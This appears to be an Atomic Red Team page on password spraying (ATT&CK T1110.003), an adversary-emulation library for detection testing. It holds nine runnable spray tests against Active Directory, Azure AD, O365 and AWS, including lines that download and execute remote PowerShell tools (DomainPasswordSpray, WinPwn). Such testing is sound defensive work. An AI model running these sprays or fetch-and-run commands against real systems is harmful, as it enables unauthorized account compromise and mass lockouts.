Skip to content
Atomic Red Team
atomics
T1110.003

T1110.003 - Brute Force: Password Spraying

Description from ATT&CK (opens in a new tab)

Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)

Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:

  • SSH (22/TCP)
  • Telnet (23/TCP)
  • FTP (21/TCP)
  • NetBIOS / SMB / Samba (139/TCP & 445/TCP)
  • LDAP (389/TCP)
  • Kerberos (88/TCP)
  • RDP / Terminal Services (3389/TCP)
  • HTTP/HTTP Management Services (80/TCP & 443/TCP)
  • MSSQL (1433/TCP)
  • Oracle (1521/TCP)
  • MySQL (3306/TCP)
  • VNC (5900/TCP)

In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)

In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.

Atomic Tests


Atomic Test #1 - Password Spray all Domain Users

CAUTION! Be very careful to not exceed the password lockout threshold for users in the domain by running this test too frequently. This atomic attempts to map the IPC$ share on one of the Domain Controllers using a password of Spring2020 for each user in the %temp%\users.txt list. Any successful authentications will be printed to the screen with a message like "[*] username:password", whereas a failed auth will simply print a period. Use the input arguments to specify your own password to use for the password spray. Use the get_prereq_command's to create a list of all domain users in the temp directory called users.txt. See the "Windows FOR Loop Password Spraying Made Easy" blog by @OrOneEqualsOne for more details on how these spray commands work. https://medium.com/walmartlabs/windows-for-loop-password-spraying-made-easy-c8cd4ebb86b5 (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: 90bc2e54-6c84-47a5-9439-0a2a92b4b175

Inputs:

NameDescriptionTypeDefault Value
passwordThe password to try for each user in users.txtstringSpring2020

Attack Commands: Run with command_prompt!

@FOR /F %n in (%temp%\users.txt) do @echo | set/p=. & @net use %logonserver%\IPC$ /user:"%userdomain%\%n" "#{password}" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\IPC$ > NUL

Dependencies: Run with command_prompt!

Description: List of domain users to password spray must exits at %temp%\users.txt
Check Prereq Commands:
if not exist %temp%\users.txt (exit /b 1)
Get Prereq Commands:
"PathToAtomicsFolder\T1110.003\src\parse_net_users.bat"


Atomic Test #2 - Password Spray (DomainPasswordSpray)

Perform a domain password spray using the DomainPasswordSpray tool. It will try a single password against all users in the domain

https://github.com/dafthack/DomainPasswordSpray (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: 263ae743-515f-4786-ac7d-41ef3a0d4b2b

Inputs:

NameDescriptionTypeDefault Value
domainDomain to brute force againststring$Env:USERDOMAIN

Attack Commands: Run with powershell!

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force


Atomic Test #3 - Password spray all Active Directory domain users with a single password via LDAP against domain controller (NTLM or Kerberos)

Attempt to brute force all Active Directory domain users with a single password (called "password spraying") on a domain controller, via LDAP, with NTLM or Kerberos

Prerequisite: AD RSAT PowerShell module is needed and it must run under a domain user (to fetch the list of all domain users)

Supported Platforms: Windows

auto_generated_guid: f14d956a-5b6e-4a93-847f-0c415142f07d

Inputs:

NameDescriptionTypeDefault Value
passwordsingle password we will attempt to auth with (if you need several passwords, then it is a bruteforce so see T1110.001)stringP@ssw0rd!
domainDomain FQDNstring$env:UserDnsDomain
authauthentication method to choose between "NTLM" and "Kerberos"stringNTLM

Attack Commands: Run with powershell!

if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) {
  Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
  exit 1
}
 
$DomainUsers = Get-ADUser -LDAPFilter '(&(sAMAccountType=805306368)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' -Server #{domain} | Select-Object -ExpandProperty SamAccountName
 
[System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{domain}",389)
 
$DomainUsers | Foreach-Object {
  $user = $_
  $password = '#{password}'
 
  $credz = new-object System.Net.NetworkCredential($user, $password, "#{domain}")
  $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})
  try {
    Write-Host " [-] Attempting ${password} on account ${user}."
    $conn.bind()
    # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
    Write-Host " [!] ${user}:${password} are valid credentials!"
  } catch {
    Write-Host $_.Exception.Message
  }
}
Write-Host "End of password spraying"


Atomic Test #4 - Password spray all Azure AD users with a single password

Attempt to brute force all Azure AD users with a single password (called "password spraying") via AzureAD Powershell module. Valid credentials are only needed to fetch the list of Azure AD users.

Supported Platforms: Azure-ad

auto_generated_guid: a8aa2d3e-1c52-4016-bc73-0f8854cfa80a

Inputs:

NameDescriptionTypeDefault Value
passwordSingle password we will attempt to auth with (if you need several passwords, then it is a bruteforce so see T1110.001)stringP@ssw0rd!
valid_usernameValid username to retrieve Azure AD users. We encourage users running this atomic to add a valid microsoft account domain; for eg <valid_test_user>@<valid_ms_account.com>stringbruce.wayne@contoso.com
valid_passwordValid password to authenticate as valid_username in the <valid_ms_account>stringiamthebatman

Attack Commands: Run with powershell!

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{valid_password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{valid_username}", $Pword
Connect-AzureAD -Credential $Credential > $null
 
($Users = Get-AzureADUser -All $true) > $null
Disconnect-AzureAD > $null
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
 
$Users | Foreach-Object {
  $user = $_.UserPrincipalName
  $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "$user", $Pword
  try {
    Write-Host " [-] Attempting #{password} on account ${user}."
    Connect-AzureAD -Credential $Credential 2>&1> $null
    # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
    Write-Host " [!] ${user}:#{password} are valid credentials!`r`n"
    Disconnect-AzureAD > $null
  } catch {
    Write-Host " [-] ${user}:#{password} invalid credentials.`r`n"
  }
}
Write-Host "End of password spraying"

Dependencies: Run with powershell!

Description: AzureAD module must be installed.
Check Prereq Commands:
try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
Get Prereq Commands:
Install-Module -Name AzureAD -Force


Atomic Test #5 - WinPwn - DomainPasswordSpray Attacks

DomainPasswordSpray Attacks technique via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 5ccf4bbd-7bf6-43fc-83ac-d9e38aff1d82

Attack Commands: Run with powershell!

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
domainpassspray -consoleoutput -noninteractive -emptypasswords


Atomic Test #6 - Password Spray Invoke-DomainPasswordSpray Light

Perform a domain password spray using the same core method of the DomainPasswordSpray tool (opens in a new tab) but without all the extra code that makes the script get blocked by many AVs. This atomic test will attempt a single password against all users in a password list at $env:Temp\usersdpsLight.txt. You can create this file manually or with the automated prereq_command. The prereq_command will limit the user list to 200 users by default to help you avoid massive account lockout.

Supported Platforms: Windows

auto_generated_guid: b15bc9a5-a4f3-4879-9304-ea0011ace63a

Inputs:

NameDescriptionTypeDefault Value
user_limitThe max number of users to put in the list when running the prereq_commandinteger200
passwordThe password to try for each user in users.txtstringSpring2020

Attack Commands: Run with powershell!

function Invoke-dpsLight ($Password, $userlist) {
$users = Get-Content $userlist
$Domain = "LDAP://" + ([ADSI]"").distinguishedName
foreach ($User in $users) {
  $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain, $User, $Password)
  if ($Domain_check.name -ne $null) {
    Write-Host -ForegroundColor Green "Password found for User:$User Password:$Password"
  }
  else { Write-Host ". " -NoNewline}
}
Write-Host -ForegroundColor green "Finished"
}
Invoke-dpsLight "#{password}" $env:Temp\usersdpsLight.txt

Dependencies: Run with powershell!

Description: Username file must exist at $env:Temp\usersdpsLight.txt
Check Prereq Commands:
if (Test-Path  $env:Temp\usersdpsLight.txt) {exit 0} else {exit 1}
Get Prereq Commands:
Write-Host -NoNewLine "Reading Users." # this code modifed from https://github.com/ZoomerHulkHogan/Powershell-Domain-User-Enumeration
$netOutput = net users /domain
$netOutput = [System.Collections.ArrayList]($netOutput[6..($netOutput.length-3)])
$userLimit = #{user_limit}; $usercount = 0
foreach ($line in $netOutput) {
  if($usercount -ge $userLimit){break}
  $line = $line.trim()
  $line = $line -split '\s\s+'
  foreach ($user in $line){
    if($usercount -ge $userLimit){break}
    Add-Content $env:Temp\usersdpsLight.txt $user
    $usercount = $usercount + 1
    }  
}
Write-Host "Usernames saved to $env:Temp\usersdpsLight.txt"


Atomic Test #7 - Password Spray Microsoft Online Accounts with MSOLSpray (Azure/O365)

This test attempts to brute force a list of Microsoft Online (Azure/O365) users with a single password via the MSOLSpray Powershell module.

Supported Platforms: Azure-ad

auto_generated_guid: f3a10056-0160-4785-8744-d9bd7c12dc39

Inputs:

NameDescriptionTypeDefault Value
passwordSingle password to try against the list of user accountsstringP@ssword1
user_listFile path to list of users (one per line, formatted as user@subdomain.onmicrosoft.com)string$env:temp\T1110.003UserList.txt

Attack Commands: Run with powershell!

import-module "PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1"
Invoke-MSOLSpray -UserList "#{user_list}" -Password "#{password}"

Dependencies: Run with powershell!

Description: MSOLSpray module must exist in PathToAtomicsFolder..\ExternalPayloads.
Check Prereq Commands:
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1"){exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://raw.githubusercontent.com/dafthack/MSOLSpray/922f159104fb3ec77c9fc6507a6388a05c227b5f/MSOLSpray.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1"


Atomic Test #8 - Password Spray using Kerbrute Tool

Test a single password against a list of users

Supported Platforms: Windows

auto_generated_guid: c6f25ec3-6475-47a9-b75d-09ac593c5ecb

Inputs:

NameDescriptionTypeDefault Value
domaincontrollerDomain controller where test will be runstring$ENV:userdnsdomain
domainDomain where you will be testingstring$ENV:userdomain

Attack Commands: Run with powershell!

cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe passwordspray --dc #{domaincontroller} -d #{domain} "PathToAtomicsFolder\..\ExternalPayloads\passwordspray.txt" password132

Dependencies: Run with powershell!

Description: kerbrute.exe must exist in PathToAtomicsFolder..\ExternalPayloads
Check Prereq Commands:
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe"){exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe"
Description: passwordspray.txt must exist in PathToAtomicsFolder..\ExternalPayloads
Check Prereq Commands:
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\passwordspray.txt"){exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.003/src/passwordspray.txt?raw=true" -outfile "PathToAtomicsFolder\..\ExternalPayloads\passwordspray.txt"


Atomic Test #9 - AWS - Password Spray an AWS using GoAWSConsoleSpray

GoAWSConsoleSpray is a tool that can be used to spray AWS IAM Console Credentials in order to identify a valid login for a user account built by WhiteOakSecurity. For more details reagrding the tool, check - https://www.whiteoaksecurity.com/blog/goawsconsolespray-password-spraying-tool/ (opens in a new tab)

Supported Platforms: Iaas:aws

auto_generated_guid: 9c10d16b-20b1-403a-8e67-50ef7117ed4e

Inputs:

NameDescriptionTypeDefault Value
aws_account_idID of the AWS accountstringXXXXXXXX

Attack Commands: Run with sh!

cd /tmp
git clone git@github.com:WhiteOakSecurity/GoAWSConsoleSpray.git
cd /tmp/GoAWSConsoleSpray
go run main.go GoAWSConsoleSpray -a #{aws_account_id} -u PathToAtomicsFolder/T1110.003/src/aws_users.txt -p PathToAtomicsFolder/T1110.003/src/aws_passwords.txt

Cleanup Commands:

rm -rf /tmp/GoAWSConsoleSpray

Dependencies: Run with sh!

Description: Check if go is installed
Check Prereq Commands:
go version
Get Prereq Commands:
echo Install GO